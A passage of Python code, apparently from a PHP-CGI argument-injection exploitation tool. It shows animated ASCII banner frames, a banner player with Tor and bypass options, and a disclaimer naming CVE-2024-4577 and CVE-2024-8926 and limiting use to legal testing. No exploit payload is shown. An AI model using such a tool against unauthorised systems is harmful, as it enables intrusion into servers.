██╗██████╗ ██████╗ ██████╗ ██╗ 670 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 671 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 672 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 673 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 674 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 675 | ◥ 676 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 677 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 678 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░▒▒▒██║██████╔╝ 679 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░▒╔═██║██╔══██╗ 680 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 681 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 682 | #43 683 | r""" 684 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 685 | ██╔══██╗██║ ██║██╔══██╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 686 | ██████╔╝███████║██████╔╝ ██████████║███╠═══ ██║ ██║ ███╗██║ 687 | ██╔═══╝ ██╔══██║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ ██║ ██║██║ 688 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 689 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 690 | ◥◢ 691 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 692 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██░░░░██╗██╔══██╗ 693 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██░▒▒▒██║██████╔╝ 694 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██░▒╔═██║██╔══██╗ 695 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 696 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 697 | 698 | #以下特效 699 | #44 700 | r""" 701 | ██ ███╗ ██╗ ██╗██████╗ █ ████╗ ██████╗ ██╗ 702 | ██╔══ █╗ █║ ██║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 703 | ███ ██╔╝███████║██ ███╔╝ ██████████║███╠═══ ██║ ██║ ███╗█ ║ 704 | ██╔═══╝ ██╔══ █║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ ██║ █ ║ █║██║ 705 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 706 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 707 | 708 | ██╗ █ █╗ ██╗ ██╗███ ███╗ ██ ███╗█████ ██╗ ██████╗ ██ ███╗ 709 | ██║ ██ █╗ ██║ ██║██╔════╝██╔════╝╚══ █╔══╝██╔═══██╗██╔══██╗ 710 | █║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║███ ██╔╝ 711 | ██║ ██║╚██╗ █║█ ██║█ ╔══╝ ██║ ██║ ██║ █║██╔══██╗ 712 | ██║ ██║ ╚████║╚█████╔╝█████ █╗╚████ █╗ ██║ ╚███ ██╔╝██║ █║ 713 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 714 | #45 715 | r""" 716 | █ ███╗ ██╗ ██╗██████╗ █ ████╗ ██████╗ ██╗ 717 | ██╔══ █╗ █║ ██║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 718 | ███ ██╔╝█████ █║██ ███╔╝ ██████████║███╠═══ ██║ ██║ ███╗█ ║ 719 | ██╔═══╝ ██╔══ █║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ █ ║ █ ║ █║██║ 720 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 721 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 722 | 723 | ██╗ █ █╗ █╗ ██╗███ ███╗ ██ ███╗█████ ██╗ ██████╗ ██ ███╗ 724 | ██║ ██ █╗ ██║ ██║██╔════╝██╔════╝╚══ █╔══╝██╔═══██╗██╔══██╗ 725 | █║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║█ █ ██╔╝ 726 | ██║ ██║╚██╗ █║█ ██║█ ╔══╝ ██║ ██║ █ ║ █║██╔══██╗ 727 | ██║ ██║ ╚████║╚█████╔╝█████ █╗╚████ █╗ ██║ ╚███ ██╔╝██║ █║ 728 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 729 | #46 730 | r""" 731 | █ ███╗ ██╗ ██╗█████ ╗ █ ████╗ ███ ██╗ ██╗ 732 | ██╔══ █╗ █║ ██║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 733 | ███ ██╔╝█████ █║██ ███╔╝ ██████████║███╠═══ ██║ ██║ ███╗█ ║ 734 | █ ╔═══╝ █ ╔══ █║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ █ ║ █ ║ █║██║ 735 | ██║ ██║ ██║██║ ╚██ ███╗╚██████╔╝██║ 736 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 737 | 738 | ██╗ █ █╗ █╗ ██╗ ██ ███╗ ██ ███╗█████ ██╗ ██████╗ ██ ███╗ 739 | ██║ ██ █╗ ██║ ██║██╔════╝██╔════╝╚══ █╔══╝██╔═══█ ╗ █╔══██╗ 740 | █║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║█ █ ██╔╝ 741 | █ ║ █║╚██╗ █║█ ██║█ ╔══╝ ██║ ██║ █ ║ █║██╔══██╗ 742 | ██║ ██║ ╚████║╚███ █╔╝██ ██ █╗╚█ ██ █╗ ██║ ╚███ ██╔╝██║ █║ 743 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 744 | #47 745 | r""" 746 | █ ███╗ ██╗ ██╗█████ ╗ █ ████╗ ███ ██╗ █ ╗ 747 | ██╔══ █╗ █║ █ ║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝██╔════╝ ██║ 748 | █ █ ██╔╝█████ █║ █ ███╔╝ ██████████║███╠═══ ██║ ██║ ███╗█ ║ 749 | █ ╔═══╝ █ ╔══ █║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ █ ║ █ ║ █║██║ 750 | ██║ ██║ █ ║██║ ╚██ █ █╗╚████ █╔╝██║ 751 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 752 | 753 | ██╗ █ █╗ █╗ █ ╗ ██ ███╗ ██ ███╗█████ ██╗ ████ █╗ ██ ███╗ 754 | █ ║ ██ █╗ ██║ ██║██╔════╝ █╔════╝╚══ █╔══╝ █╔═══█ ╗ █╔══██╗ 755 | █║ ██╔██╗ █ ║ ██║ ████╗ ██║ ██║ ██║ ██║█ █ ██╔╝ 756 | █ ║ █║╚██╗ █║█ ██║█ ╔══╝ █ ║ █ ║ █ ║ █║██╔══██╗ 757 | ██║ ██║ ╚████║╚███ █╔╝██ ██ █╗╚█ ██ █╗ ██║ ╚███ ██╔╝██║ █║ 758 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 759 | #48 760 | r""" 761 | █ █ █╗ ██╗ ██╗█████ ╗ █ █ ██╗ ███ ██╗ █ ╗ 762 | ██╔══ █╗ █║ ║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝ █╔════╝ ██║ 763 | █ █ ██╔╝██ ██ █║ █ █ █╔╝ ██████████║███╠═══ ██║ ██║ ███╗█ ║ 764 | █ ╔═══╝ █ ╔══ █║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ █ ║ █ ║ █║██║ 765 | █║ ██║ █ ║██║ ╚██ █ █╗╚████ █╔╝██║ 766 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 767 | 768 | ██╗ █ █╗ █╗ █ ╗ ██ ███╗ ██ ███╗█ ███ ██╗ ███ █╗ ██ █ █╗ 769 | █ ║ █ █╗ ██║ ██║██╔════╝ █╔════╝╚══ █╔══╝ █╔═══█ ╗ █╔══██╗ 770 | █║ ██╔██╗ █ ║ █║ ██ █╗ █║ ██║ ██║ ██║█ █ ██╔╝ 771 | █ ║ █║╚█ ╗ █║█ ██║█ ╔══╝ █ ║ █ ║ █ ║ █║██╔══██╗ 772 | █ ║ ██║ ╚████║╚███ █╔╝██ ██ █╗╚█ ██ █╗ ██║ ╚███ ██╔╝██║ █║ 773 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 774 | #49 775 | r""" 776 | █ █ █╗ ██╗ █╗██ ██ ╗ █ █ ██╗ ██ ██╗ █ ╗ 777 | █╔══ █╗ █║ ║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ██╔════╝ █╔════╝ ██║ 778 | █ █ ██╔╝ █ █ █║ █ █ █╔╝ ██████████║███╠═══ █ ║ ██║ █ █╗█ ║ 779 | █ ╔═══╝ █ ╔══ █║██╔═══╝ ▌╠═╧╧╧╩╧╧╝ █ ║ █ ║ █║██║ 780 | █║ ██║ █ ║█ ║ ╚██ █ ╗╚██ █ █╔╝ █║ 781 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 782 | 783 | █ ╗ █ █╗ █╗ █ ╗ █ ███╗ ██ ██╗█ █ █ ██╗ █ █ █╗ █ █ █╗ 784 | ║ █ █╗ ██║ ██║ █╔════╝ █╔════╝╚══ █╔══╝ █╔═══█ ╗ █╔══██╗ 785 | █║ ██╔██╗ █ ║ █║ ██ █╗ █║ ██║ ██║ ██║█ █ ██╔╝ 786 | █ ║ █║╚█ ╗ █║█ ██║█ ╔══╝ █ ║ █ ║ █ ║ █║█ ╔══██╗ 787 | █ ║ ██║ ╚██ █║╚███ █╔╝██ ██ █╗╚█ ██ █╗ █║ ╚█ █ ██╔╝██║ █║ 788 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 789 | #50 790 | r""" 791 | █ █ █╗ █╗ █╗ █ █ ╗ █ █ ██╗ ██ █ ╗ █ ╗ 792 | ╔══ █╗ ║ ║█ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ █╔════╝ █╔════╝ █║ 793 | █ █ █ ╔╝ █ █ ║ █ █ █╔╝ ██████████║███╠═══ █ ║ █║ █ █╗█ ║ 794 | █ ╔═══╝ █ ╔══ █║█ ╔═══╝ ▌╠═╧╧╧╩╧╧╝ ║ █ ║ █║█ ║ 795 | █║ █║ █ ║█ ║ ╚█ █ ╗╚█ █ █╔╝ █║ 796 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 797 | 798 | █ ╗ █ █╗ █╗ █ ╗ █ █ █╗ █ ██╗█ █ ██╗ █ █ ╗ █ █ █╗ 799 | ║ █ █╗ █║ █║ █╔════╝ █╔════╝╚══ █╔══╝ █╔═══█ ╗ █╔══ █╗ 800 | ║ █ ╔█ ╗ █ ║ █║ █ █╗ ║ █ ║ █║ █║█ █ █ ╔╝ 801 | █ ║ █║╚█ ╗ █║█ █ ║█ ╔══╝ █ ║ █ ║ █ ║ █║ ╔══ █╗ 802 | █ ║ █║ ╚ █ █║╚ ██ █╔╝██ █ ╗╚█ █ █╗ █║ ╚█ █ ██╔╝█ ║ █║ 803 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 804 | #51 805 | r""" 806 | █ █ █╗ ╗ █╗ █ █ ╗ █ █ ╗ █ █ ╗ █ ╗ 807 | ╔══ █╗ ║ ║ ╔══ █╗ ▌╠═╤╤╤╦╤╤╗ ╔════╝ █╔════╝ █║ 808 | █ █ ╔╝ █ ║ █ █╔╝ ██████████║███╠═══ █ ║ ║ █ ╗ ║ 809 | ╔═══╝ █ ╔══ █║ ╔═══╝ ▌╠═╧╧╧╩╧╧╝ ║ █ ║ █║█ ║ 810 | █║ █║ █ ║█ ║ ╚█ █ ╗╚█ █ █╔╝ ║ 811 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 812 | 813 | █ ╗ █ █╗ ╗ █ ╗ █ █╗ █ █╗█ █ █ ╗ █ █ ╗ █ ╗ 814 | ║ █ ╗ █║ █║ █╔════╝ █╔════╝╚══ █╔══╝ ╔═══█ ╗ █╔══ █╗ 815 | ║ █ ╔█ ╗ █ ║ █║ █╗ ║ ║ █║ ║█ █ ╔╝ 816 | ║ █║╚ ╗ ║ ║█ ╔══╝ █ ║ █ ║ █ ║ █║ ╔══ █╗ 817 | █ ║ █║ ╚ █ █║╚ █ █╔╝ █ █ ╗╚█ █╗ ║ ╚█ █ █╔╝█ ║ █║ 818 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 819 | #52 820 | r""" 821 | █ █╗ ╗ ╗ █ ╗ █ ╗ █ ╗ █ ╗ 822 | ╔══ ╗ ║ ║ ╔══ ╗ ▌╠═╤╤╤╦╤╤╗ ╔════╝ █╔════╝ ║ 823 | █ █ ╔╝ █ ║ █╔╝ ██████████║███╠═══ █ ║ ║ █ ╗ ║ 824 | ╔═══╝ ╔══ █║ ╔═══╝ ▌╠═╧╧╧╩╧╧╝ ║ █ ║ ║█ ║ 825 | █║ █║ ║█ ║ ╚ █ ╗╚ █ █╔╝ ║ 826 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 827 | 828 | █ ╗ █ ╗ ╗ ╗ █╗ █ ╗ █ █ ╗ █ ╗ ╗ 829 | ║ █ ╗ █║ █║ █╔════╝ █╔════╝╚══ █╔══╝ ╔═══█ ╗ █╔══ █╗ 830 | ║ █ ╔ ╗ ║ ║ ╗ ║ ║ ║ ║ █ ╔╝ 831 | ║ ║╚ ╗ ║ ║█ ╔══╝ █ ║ █ ║ █ ║ █║ ╔══ ╗ 832 | █ ║ █║ ╚ █ █║╚ █╔╝ █ ╗╚ █╗ ║ ╚█ █╔╝█ ║ █║ 833 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 834 | #53 835 | r""" 836 | █ ╗ ╗ ╗ ╗ ╗ █ ╗ █ ╗ 837 | ╔══ ╗ ║ ║ ╔══ ╗ ▌╠═╤╤╤╦╤╤╗ ╔════╝ ╔════╝ ║ 838 | ╔╝ █ ║ █╔╝ ██████████║███╠═══ █ ║ ║ ╗ ║ 839 | ╔═══╝ ╔══ ║ ╔═══╝ ▌╠═╧╧╧╩╧╧╝ ║ █ ║ ║ ║ 840 | █║ ║ ║ ║ ╚ ╗╚ █╔╝ ║ 841 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 842 | 843 | █ ╗ █ ╗ ╗ ╗ █╗ █ ╗ █ ╗ ╗ ╗ 844 | ║ ╗ █║ ║ ╔════╝ ╔════╝╚══ ╔══╝ ╔═══█ ╗ ╔══ █╗ 845 | ║ ╔ ╗ ║ ║ ╗ ║ ║ ║ ║ ╔╝ 846 | ║ ║╚ ╗ ║ ║ ╔══╝ █ ║ █ ║ ║ ║ ╔══ ╗ 847 | ║ █║ ╚ █ ║╚ █╔╝ █ ╗╚ ╗ ║ ╚█ █╔╝█ ║ █║ 848 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 849 | #54 850 | r""" 851 | █ ╗ ╗ ╗ ╗ ╗ ╗ █ ╗ 852 | ╔══ ╗ ║ ║ ╔══ ╗ ▌╠═╤╤╤╦╤╤╗ ╔════╝ ╔════╝ ║ 853 | ╔╝ ║ █╔╝ ██████████║███╠═══ █ ║ ║ ╗ ║ 854 | ╔═══╝ ╔══ ║ ╔═══╝ ▌╠═╧╧╧╩╧╧╝ ║ ║ ║ ║ 855 | ║ ║ ║ ║ ╚ ╗╚ ╔╝ ║ 856 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 857 | 858 | █ ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ 859 | ║ ╗ █║ ║ ╔════╝ ╔════╝╚══ ╔══╝ ╔═══█ ╗ ╔══ ╗ 860 | ║ ╔ ╗ ║ ║ ╗ ║ ║ ║ ║ ╔╝ 861 | ║ ║╚ ╗ ║ ║ ╔══╝ █ ║ █ ║ ║ ║ ╔══ ╗ 862 | ║ █║ ╚ ║╚ █╔╝ ╗╚ ╗ ║ ╚█ ╔╝ ║ █║ 863 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 864 | #55 865 | r""" 866 | ╗ ╗ ╗ ╗ ╗ ╗ ╗ 867 | ╔══ ╗ ║ ║ ╔══ ╗ ▌╠═╤╤╤╦╤╤╗ ╔════╝ ╔════╝ ║ 868 | ╔╝ ║ ╔╝ ██████████║███╠═══ ║ ║ ╗ ║ 869 | ╔═══╝ ╔══ ║ ╔═══╝ ▌╠═╧╧╧╩╧╧╝ ║ ║ ║ ║ 870 | ║ ║ ║ ║ ╚ ╗╚ ╔╝ ║ 871 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 872 | 873 | ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ 874 | ║ ╗ ║ ║ ╔════╝ ╔════╝╚══ ╔══╝ ╔═══ ╗ ╔══ ╗ 875 | ║ ╔ ╗ ║ ║ ╗ ║ ║ ║ ║ ╔╝ 876 | ║ ║╚ ╗ ║ ║ ╔══╝ ║ ║ ║ ║ ╔══ ╗ 877 | ║ ║ ╚ ║╚ ╔╝ ╗╚ ╗ ║ ╚ ╔╝ ║ ║ 878 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 879 | #56 880 | r""" 881 | ╗ ╗ ╗ ╗ ╗ ╗ ╗ 882 | ╔ ═ ║ ╔ ═ ╗ ▌╠═╤╤╤╦╤╤╗ ╔═ ══╝ ╔══ ═╝ ║ 883 | ╔╝ ╝ ██████████║███╠═══ ║ ╗ 884 | ╔═ ═╝ ══ ║ ╔ ══╝ ▌╠═╧╧╧╩╧╧╝ ║ ║ 885 | ║ ║ ║ ╚ ╗╚ ╔╝ ║ 886 | ╚═╝ ╚═ ╚═ ╚═ ╚ ═══ ╝ ╚══ ══ ═╝ 887 | 888 | ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ 889 | ║ ║ ║ ╔ ══ ╝ ╔ ═ ═╝╚ ═ ╔══╝ ╔═══ ╗ ╔ ═ ╗ 890 | ╔ ╗ ║ ╔╝ 891 | ║ ╚ ║ ║ ╔ ═╝ ║ ║ ║ ╔══ ╗ 892 | ║ ║ ╚ ║╚ ╔ ╗╚ ║ ╚ ╔╝ ║ 893 | ╚═ ═╝ ╚ ══ ╚ ═══╝ ╚ ═════╝ ╚═ ═══╝ ╚ ╝ ╚═════╝ ╚ ╝ ╚═ """, 894 | #57 895 | r""" 896 | ╗ ╗ ╗ ╗ ╗ 897 | ╔ ═ ║ ╔ ═ ╗ ▌╠═╤╤╤╦╤╤╗ ╔═ ═╝ ══ ═╝ ║ 898 | ╔╝ ╝ ██████████║███╠═══ ║ ╗ 899 | ╔═ ═╝ ══ ║ ╔ ══╝ ▌╠═╧╧╧╩╧╧╝ ║ ║ 900 | ║ ║ ║ ╚ ╗╚ ╝ 901 | ╚═╝ ╚═ ╚═ ╚═ ╚ ═ ═ ╝ ══ ══ ═╝ 902 | 903 | ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ 904 | ║ ║ ╔ ═ ╝ ╔ ═ ═╝╚ ═ ╔═ ╝ ═══ ╗ ╔ ═ 905 | ╔ ╗ ║ ╔╝ 906 | ║ ╚ ║ ║ ╔ ═ ║ ║ ║ ══ ╗ 907 | ║ ║╚ ╔ ╗╚ ╚ ╔ 908 | ╚═ ╝ ╚ ═ ╚ ═ ═╝ ╚ ═ ═══╝ ╚═ ═ ═╝ ╚ ╝ ╚═══ ═╝ ╚ ╝ ╚═ """, 909 | #58 910 | r""" 911 | ╗ ╗ ╗ ╗ 912 | ╔ ═ ║ ╔ ═ ▌╠═╤╤╤╦╤╤╗ ╔═ ╝ ══ ╝ 913 | ╔ ╝ ██████████║███╠═══ ║ ╗ 914 | ╔═ ═ ═ ╔ ══ ▌╠═╧╧╧╩╧╧╝ ║ ║ 915 | ║ ║ ╚ ╚ ╝ 916 | ╚═ ╚ ╚═ ╚═ ═ ═ ╝ ═ ══ ═╝ 917 | 918 | ╗ ╗ ╗ ╗ ╗ ╗ ╗ ╗ 919 | ║ ╔ ═ ╔ ═ ═ ╚ ═ ╔ ╝ ═ ═ ╗ ╔ ═ 920 | ╔ ╗ ║ ╝ 921 | ║ ╚ ║ ║ ╔ ═ ║ ║ ║ ═ ╗ 922 | ╚ ╗╚ ╚ ╔ 923 | ═ ╝ ╚ ═ ╚ ═ ═╝ ╚ ═ ═ ═ ═ ═ ╝ ╝ ═ ═ ═╝ ╝ ╚═ """, 924 | #59 925 | r""" 926 | ╗ ╗ 927 | ╔ ═ ║ ═ ▌╠═╤╤╤╦╤╤╗ ╔═ ╝ ══ ╝ 928 | ╝ ██████████║███╠═══ ╗ 929 | ═ ═ ═ ╔ ══ ▌╠═╧╧╧╩╧╧╝ 930 | ╚ ╚ 931 | ╚═ ╚ ═ ╚═ ═ ╝ ═ ═ ═╝ 932 | 933 | ╗ ╗ ╗ ╗ 934 | ╔ ═ ╔ ═ ╚ ═ ╔ ╝ ═ ═ ╗ ╔ ═ 935 | ╔ ╗ 936 | ║ ═ ║ ║ ╗ 937 | ╚ ╗ ╚ 938 | ═ ╝ ╚ ═ ═ ═╝ ═ ═ ═ ═ ╝ ╝ ═ ╝ ╝ ═ """, 939 | #60 940 | r""" 941 | ╗ ╗ 942 | ═ ═ ▌╠═╤╤╤╦╤╤╗ ═ ╝ ═ 943 | ╝ ██████████║███╠═══ 944 | ═ ═ ═ ▌╠═╧╧╧╩╧╧╝ 945 | ╚ 946 | ═ ═ ╚ ═ ═ ═ ═ 947 | 948 | ╗ 949 | ═ ╔ ═ ═ ╔ ═ ╗ ╔ ═ 950 | ╗ 951 | ═ 952 | ╚ 953 | ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ═ ╝ ═ """, 954 | #61 955 | r""" 956 | ╗ 957 | ═ ═ ▌╠═╤╤╤╦╤╤╗ ═ ═ 958 | ╝ ██████████║███╠═══ 959 | ═ ═ ═ ▌╠═╧╧╧╩╧╧╝ 960 | ╚ 961 | ═ ═ ═ ═ 962 | 963 | 964 | ═ ═ ═ ╔ ═ ╔ 965 | ╗ 966 | ═ 967 | 968 | ═ ╚ ═ ═ ═ ═ ╝ ═ ═ """, 969 | #62 970 | r""" 971 | 972 | ▌╠═╤╤╤╦╤╤╗ 973 | ██████████║███╠═══ 974 | ▌╠═╧╧╧╩╧╧╝ 975 | 976 | 977 | 978 | 979 | 980 | 981 | 982 | 983 | """, 984 | #63 985 | r""" 986 | 987 | ▌╠═╤╤╤╦╤╤╗ 988 | ████████║███╠═══ 989 | ▌╠═╧╧╧╩╧╧╝ 990 | 991 | 992 | 993 | 994 | 995 | 996 | 997 | 998 | """, 999 | #64 1000 | r""" 1001 | 1002 | ▌╠═╤╤╤╦╤╤╗ 1003 | ██████║███╠═══ 1004 | ▌╠═╧╧╧╩╧╧╝ 1005 | 1006 | 1007 | 1008 | 1009 | 1010 | 1011 | 1012 | 1013 | """, 1014 | #65 1015 | r""" 1016 | 1017 | ═╤╤╤╦╤╤╗ 1018 | ████║███╠═══ 1019 | ═╧╧╧╩╧╧╝ 1020 | 1021 | 1022 | 1023 | 1024 | 1025 | 1026 | 1027 | 1028 | """, 1029 | #66 1030 | r""" 1031 | 1032 | ╤╤╦╤╤╗ 1033 | ██║███╠═══ 1034 | ╧╧╩╧╧╝ 1035 | 1036 | 1037 | 1038 | 1039 | 1040 | 1041 | 1042 | 1043 | """, 1044 | #67 1045 | r""" 1046 | 1047 | ╦╤╤╗ 1048 | ║███╠═══ 1049 | ╩╧╧╝ 1050 | 1051 | 1052 | 1053 | 1054 | 1055 | 1056 | 1057 | 1058 | """, 1059 | #68 1060 | r""" 1061 | 1062 | ╤╗ 1063 | ██╠═══ 1064 | ╧╝ 1065 | 1066 | 1067 | 1068 | 1069 | 1070 | 1071 | 1072 | 1073 | """, 1074 | #69 1075 | r""" 1076 | 1077 | 1078 | ╠═══ 1079 | 1080 | 1081 | 1082 | 1083 | 1084 | 1085 | 1086 | 1087 | 1088 | """, 1089 | #70 1090 | r""" 1091 | 1092 | 1093 | ══ 1094 | 1095 | 1096 | 1097 | 1098 | 1099 | 1100 | 1101 | 1102 | 1103 | """, 1104 | #71 1105 | r"""""", 1106 | ] 1107 | 1108 | def play_banner(use_tor=False, enable_bypass=False): 1109 | if use_tor: 1110 | start_color = (255, 255, 255) # 白色 1111 | end_color = (100, 0, 150) # 深紫色 1112 | play_ranges = [(0, 55)] 1113 | elif enable_bypass: 1114 | start_color = (255, 255, 255) # 白色 1115 | end_color = (0, 200, 0) # 螢光綠色 1116 | play_ranges = [(0, 42), (55, len(frames))] # 播前41幀 + 跳到54開始 1117 | else: 1118 | start_color = (255, 255, 255) # 白色 1119 | end_color = (150, 20, 20) # 柔紅色 1120 | play_ranges = [(0, 42)] # 只播放 41 幀 1121 | 1122 | color_change_start = 28 1123 | color_change_end = 32 1124 | 1125 | with Live("", console=console, refresh_per_second=10) as live: 1126 | for start, end in play_ranges: 1127 | for i in range(start, min(end, len(frames))): 1128 | colored_frame = color_gradient(frames[i], start_color, end_color, i, color_change_start, color_change_end) 1129 | live.update(colored_frame) 1130 | time.sleep(0.042) 1131 | 1132 | # 顯示最後一幀 1133 | last_frame = frames[min(end - 1, len(frames) - 1)] 1134 | final_colored = color_gradient(last_frame, start_color, end_color, color_change_end, color_change_start, color_change_end) 1135 | live.update(final_colored) 1136 | if enable_bypass: 1137 | time.sleep(0.8) 1138 | else: 1139 | time.sleep(0.25) 1140 | 1141 | def print_static_banner(): 1142 | rprint(frames[42]) 1143 | 1144 | def Show_Disclaimer(no_effects=False): 1145 | console = Console() 1146 | lines = [ 1147 | "[bold cyan]╔════════════════════════════════════════════════════════════╗[/bold cyan]", 1148 | "[bold cyan]║[/bold cyan] [white] CVE-2024-4577 & CVE-2024-8926 Exploitation Tool [/white] [bold cyan]║[/bold cyan]", 1149 | "[bold cyan]║ ║[/bold cyan]", 1150 | "[bold cyan]║[/bold cyan] [white] 致敬漏洞發現者[/white] 🍊 [bold orange3]Orange Tsai[/bold orange3] [bold cyan]║[/bold cyan]", 1151 | "[bold cyan]╠════════════════════════════════════════════════════════════╣[/bold cyan]", 1152 | "[bold cyan]║[/bold cyan] [white]Version:[/white] [bold]1.5.1[/bold] [bold cyan]║[/bold cyan]", 1153 | "[bold cyan]║ ║[/bold cyan]", 1154 | "[bold cyan]║[/bold cyan] [white]Author :[/white] 🌙 [bold medium_purple3]Night-have-dreams[/bold medium_purple3] [bold cyan]║[/bold cyan]", 1155 | "[bold cyan]║ ║[/bold cyan]", 1156 | "[bold cyan]║[/bold cyan] [white]GitHub :[/white] [blue]https://github.com/Night-have-dreams[/blue] [bold cyan]║[/bold cyan]", 1157 | "[bold cyan]╠════════════════════════════════════════════════════════════╣[/bold cyan]", 1158 | "[bold cyan]║[/bold cyan] [yellow]僅供合法安全測試,請勿用於未經授權的系統![/yellow] [bold cyan]║[/bold cyan]", 1159 | "[bold cyan]║ ║[/bold cyan]", 1160 | "[bold cyan]║[/bold cyan] [yellow]使用者應自行承擔使用本工具所產生的風險[/yellow] [bold cyan]║[/bold cyan]", 1161 | "[bold cyan]╚════════════════════════════════════════════════════════════╝[/bold cyan]", 1162 | ] 1163 | 1164 | for line in lines: 1165 | console.print(line) 1166 | if not no_effects: 1167 | time.sleep(0.04) 1168 | if not no_effects: 1169 | time.sleep(0.3) 1170 | 1171 | 1172 